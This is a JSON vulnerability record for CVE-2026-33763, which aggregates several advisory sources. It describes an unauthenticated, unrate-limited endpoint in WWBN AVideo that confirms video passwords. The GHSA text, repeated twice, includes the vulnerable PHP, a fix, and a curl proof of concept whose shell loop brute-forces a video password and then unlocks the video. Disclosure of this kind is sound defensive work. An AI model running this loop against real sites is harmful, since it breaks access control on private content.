{"id":"CVE-2026-33763","aliases":["EUVD-2026-16648","GHSA-8prq-2jr2-cm92"],"status":"published","title":"AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords. Commit 01a0614fedcdaee47832c0d913a0fb86d8c28135 contains a patch.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00332,"percentile":0.26744,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-307"],"published":"2026-03-26T18:07:38Z","modified":"2026-11-11T10:30:48Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-8prq-2jr2-cm92","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/01a0614fedcdaee47832c0d913a0fb86d8c28135","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33763","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8prq-2jr2-cm92"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33763.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33763","title":"AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords. Commit 01a0614fedcdaee47832c0d913a0fb86d8c28135 contains a patch.","status":"published","published":"2026-03-27T14:25:12.794Z","modified":"2026-03-30T12:06:27.809Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-16648","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords. Commit 01a0614fedcdaee47832c0d913a0fb86d8c28135 contains a patch.","status":"published","published":"2026-03-27T14:25:12Z","modified":"2026-03-30T12:06:27Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:26.376466Z"}],"ghsa":[{"id":"GHSA-8prq-2jr2-cm92","title":"AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle","description":"## Summary\n\nThe `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.\n\n## Details\n\nThe vulnerable endpoint is defined at `plugin/API/API.php:1111-1133`:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n    $obj = new stdClass();\n    $obj-\u003evideos_id = intval($parameters['videos_id']);\n    $obj-\u003epasswordIsCorrect = true;\n    $error = true;\n    $msg = '';\n\n    if (!empty($obj-\u003evideos_id)) {\n        $error = false;\n        $video = new Video('', '', $obj-\u003evideos_id);\n        $password = $video-\u003egetVideo_password();\n        if (!empty($password)) {\n            $obj-\u003epasswordIsCorrect = $password == $parameters['video_password'];\n        }\n    } else {\n        $msg = 'Videos id is required';\n    }\n\n    return new ApiObject($msg, $error, $obj);\n}\n```\n\nThe `get()` dispatcher at `API.php:191-209` routes GET requests directly to this method without any authentication enforcement:\n\n```php\npublic function get($parameters) {\n    // ... optional user login if credentials provided ...\n    $APIName = $parameters['APIName'];\n    if (method_exists($this, \"get_api_$APIName\")) {\n        $str = \"\\$object = \\$this-\u003eget_api_$APIName(\\$parameters);\";\n        eval($str);\n    }\n}\n```\n\nThe application has a `checkRateLimit()` mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is **not** applied to this password verification endpoint.\n\nAdditionally, video passwords are stored in plaintext (`objects/video.php:523-527`):\n\n```php\npublic function setVideo_password($video_password) {\n    AVideoPlugin::onVideoSetVideo_password($this-\u003eid, $this-\u003evideo_password, $video_password);\n    $this-\u003evideo_password = trim($video_password);\n}\n```\n\nThe comparison at line 1125 uses loose equality (`==`) rather than strict equality (`===`).\n\n## PoC\n\n**Step 1: Identify a password-protected video**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video\u0026videos_id=1\" | jq '.response.rows[0].video_password'\n```\n\nA non-empty value (e.g., `\"1\"`) indicates the video is password-protected.\n\n**Step 2: Test incorrect password (oracle returns false)**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct\u0026videos_id=1\u0026video_password=wrongguess\"\n```\n\nExpected response:\n```json\n{\"response\":{\"videos_id\":1,\"passwordIsCorrect\":false},\"error\":false}\n```\n\n**Step 3: Brute-force the password**\n\n```bash\nfor pw in password 123456 secret admin test video1 qwerty; do\n  result=$(curl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct\u0026videos_id=1\u0026video_password=$pw\" | jq -r '.response.passwordIsCorrect')\n  echo \"$pw: $result\"\n  [ \"$result\" = \"true\" ] \u0026\u0026 echo \"FOUND: $pw\" \u0026\u0026 break\ndone\n```\n\nNo rate limiting is encountered regardless of request volume.\n\n**Step 4: Unlock the video with the discovered password**\n\n```bash\ncurl -s \"http://localhost/view/video.php?v=1\u0026video_password=DISCOVERED_PASSWORD\" -c cookies.txt\n```\n\nThe password is stored in the session (`CustomizeUser.php:806-807`) granting persistent access.\n\n## Impact\n\nAn attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.\n\n## Recommended Fix\n\n1. **Add rate limiting** to the endpoint using the existing `checkRateLimit()` mechanism:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n    $this-\u003echeckRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP\n\n    $obj = new stdClass();\n    $obj-\u003evideos_id = intval($parameters['videos_id']);\n    // ... rest of existing code\n}\n```\n\n2. **Hash video passwords** using `password_hash()`/`password_verify()` instead of plaintext storage and loose comparison:\n\n```php\n// In setVideo_password:\n$this-\u003evideo_password = password_hash(trim($video_password), PASSWORD_DEFAULT);\n\n// In the check endpoint:\n$obj-\u003epasswordIsCorrect = password_verify($parameters['video_password'], $password);\n```\n\n3. **Use strict comparison** (`===`) if plaintext passwords must be retained temporarily during migration.","status":"published","published":"2026-03-26T18:07:38Z","modified":"2026-03-27T21:38:25Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:39:43.747579Z"}],"nvd":[{"id":"CVE-2026-33763","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords. Commit 01a0614fedcdaee47832c0d913a0fb86d8c28135 contains a patch.","status":"published","published":"2026-03-27T15:16:58.39Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33763","title":"AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords. Commit 01a0614fedcdaee47832c0d913a0fb86d8c28135 contains a patch.","status":"published","published":"2026-03-27T14:25:12.794Z","modified":"2026-11-11T10:30:48.94607952Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-307"],"updated_at":"2026-11-11T11:06:44.221111Z"},{"id":"GHSA-8prq-2jr2-cm92","title":"AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle","description":"## Summary\n\nThe `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.\n\n## Details\n\nThe vulnerable endpoint is defined at `plugin/API/API.php:1111-1133`:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n    $obj = new stdClass();\n    $obj-\u003evideos_id = intval($parameters['videos_id']);\n    $obj-\u003epasswordIsCorrect = true;\n    $error = true;\n    $msg = '';\n\n    if (!empty($obj-\u003evideos_id)) {\n        $error = false;\n        $video = new Video('', '', $obj-\u003evideos_id);\n        $password = $video-\u003egetVideo_password();\n        if (!empty($password)) {\n            $obj-\u003epasswordIsCorrect = $password == $parameters['video_password'];\n        }\n    } else {\n        $msg = 'Videos id is required';\n    }\n\n    return new ApiObject($msg, $error, $obj);\n}\n```\n\nThe `get()` dispatcher at `API.php:191-209` routes GET requests directly to this method without any authentication enforcement:\n\n```php\npublic function get($parameters) {\n    // ... optional user login if credentials provided ...\n    $APIName = $parameters['APIName'];\n    if (method_exists($this, \"get_api_$APIName\")) {\n        $str = \"\\$object = \\$this-\u003eget_api_$APIName(\\$parameters);\";\n        eval($str);\n    }\n}\n```\n\nThe application has a `checkRateLimit()` mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is **not** applied to this password verification endpoint.\n\nAdditionally, video passwords are stored in plaintext (`objects/video.php:523-527`):\n\n```php\npublic function setVideo_password($video_password) {\n    AVideoPlugin::onVideoSetVideo_password($this-\u003eid, $this-\u003evideo_password, $video_password);\n    $this-\u003evideo_password = trim($video_password);\n}\n```\n\nThe comparison at line 1125 uses loose equality (`==`) rather than strict equality (`===`).\n\n## PoC\n\n**Step 1: Identify a password-protected video**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video\u0026videos_id=1\" | jq '.response.rows[0].video_password'\n```\n\nA non-empty value (e.g., `\"1\"`) indicates the video is password-protected.\n\n**Step 2: Test incorrect password (oracle returns false)**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct\u0026videos_id=1\u0026video_password=wrongguess\"\n```\n\nExpected response:\n```json\n{\"response\":{\"videos_id\":1,\"passwordIsCorrect\":false},\"error\":false}\n```\n\n**Step 3: Brute-force the password**\n\n```bash\nfor pw in password 123456 secret admin test video1 qwerty; do\n  result=$(curl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct\u0026videos_id=1\u0026video_password=$pw\" | jq -r '.response.passwordIsCorrect')\n  echo \"$pw: $result\"\n  [ \"$result\" = \"true\" ] \u0026\u0026 echo \"FOUND: $pw\" \u0026\u0026 break\ndone\n```\n\nNo rate limiting is encountered regardless of request volume.\n\n**Step 4: Unlock the video with the discovered password**\n\n```bash\ncurl -s \"http://localhost/view/video.php?v=1\u0026video_password=DISCOVERED_PASSWORD\" -c cookies.txt\n```\n\nThe password is stored in the session (`CustomizeUser.php:806-807`) granting persistent access.\n\n## Impact\n\nAn attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.\n\n## Recommended Fix\n\n1. **Add rate limiting** to the endpoint using the existing `checkRateLimit()` mechanism:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n    $this-\u003echeckRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP\n\n    $obj = new stdClass();\n    $obj-\u003evideos_id = intval($parameters['videos_id']);\n    // ... rest of existing code\n}\n```\n\n2. **Hash video passwords** using `password_hash()`/`password_verify()` instead of plaintext storage and loose comparison:\n\n```php\n// In setVideo_password:\n$this-\u003evideo_password = password_hash(trim($video_password), PASSWORD_DEFAULT);\n\n// In the check endpoint:\n$obj-\u003epasswordIsCorrect = password_verify($parameters['video_password'], $password);\n```\n\n3. **Use strict comparison** (`===`) if plaintext passwords must be retained temporarily during migration.","status":"published","published":"2026-03-26T18:07:38Z","modified":"2026-03-27T21:49:59.887231Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-307"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}
